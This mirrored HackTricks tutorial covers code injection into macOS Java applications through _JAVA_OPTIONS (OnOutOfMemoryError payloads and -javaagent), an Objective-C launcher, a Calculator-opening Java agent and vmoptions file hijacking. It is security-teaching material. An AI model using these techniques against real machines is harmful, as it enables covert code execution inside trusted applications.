mirror of
https://github.com/carlospolop/hacktricks
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204 lines
8.2 KiB
Markdown
204 lines
8.2 KiB
Markdown
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# macOS Java Applications Injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Enumeration
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Find Java applications installed in your system. It was noticed that Java apps in the **Info.plist** will contain some java parameters which contain the string **`java.`**, so you can search for that:
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```bash
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# Search only in /Applications folder
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sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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# Full search
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sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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```
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## \_JAVA\_OPTIONS
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The env variable **`_JAVA_OPTIONS`** can be used to inject arbitrary java parameters in the execution of a java compiled app:
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```bash
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# Write your payload in a script called /tmp/payload.sh
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export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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```
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To execute it as a new process and not as a child of the current terminal you can use:
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```objectivec
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#import <Foundation/Foundation.h>
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// clang -fobjc-arc -framework Foundation invoker.m -o invoker
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int main(int argc, const char * argv[]) {
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@autoreleasepool {
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// Specify the file path and content
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NSString *filePath = @"/tmp/payload.sh";
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NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
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NSError *error = nil;
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// Write content to the file
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BOOL success = [content writeToFile:filePath
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atomically:YES
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encoding:NSUTF8StringEncoding
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error:&error];
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if (!success) {
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NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
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return 1;
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}
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NSLog(@"File written successfully to %@", filePath);
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// Create a new task
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NSTask *task = [[NSTask alloc] init];
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/// Set the task's launch path to use the 'open' command
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[task setLaunchPath:@"/usr/bin/open"];
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// Arguments for the 'open' command, specifying the path to Android Studio
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[task setArguments:@[@"/Applications/Android Studio.app"]];
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// Define custom environment variables
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NSDictionary *customEnvironment = @{
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@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
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};
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// Get the current environment and merge it with custom variables
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NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
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[environment addEntriesFromDictionary:customEnvironment];
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// Set the task's environment
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[task setEnvironment:environment];
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// Launch the task
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[task launch];
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}
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return 0;
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}
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```
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However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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{% hint style="danger" %}
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Creating the agent with a **different Java version** from the application can crash the execution of both the agent and the application
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{% endhint %}
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Where the agent can be:
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{% code title="Agent.java" %}
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```java
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import java.io.*;
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import java.lang.instrument.*;
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public class Agent {
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public static void premain(String args, Instrumentation inst) {
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try {
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String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
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Runtime.getRuntime().exec(commands);
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}
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catch (Exception err) {
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err.printStackTrace();
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}
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}
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}
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```
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{% endcode %}
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To compile the agent run:
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```bash
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javac Agent.java # Create Agent.class
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jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
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```
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With `manifest.txt`:
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```
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Premain-Class: Agent
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Agent-Class: Agent
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Can-Redefine-Classes: true
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Can-Retransform-Classes: true
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```
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And then export the env variable and run the java application like:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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## vmoptions file
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This file support the specification of **Java params** when Java is executed. You could use some of the previous tricks to change the java params and **make the process execute arbitrary commands**.\
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Moreover, this file can also **include others** with the `include` directory, so you could also change an included file.
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Even more, some Java apps will **load more than one `vmoptions`** file.
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Some applications like Android Studio indicates in their **output where are they looking** for these files, like:
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```bash
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/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
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2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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```
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If they don't you can easily check for it with:
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```bash
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# Monitor
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sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
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# Launch the Java app
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/Applications/Android\ Studio.app/Contents/MacOS/studio
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```
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Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.**
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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||
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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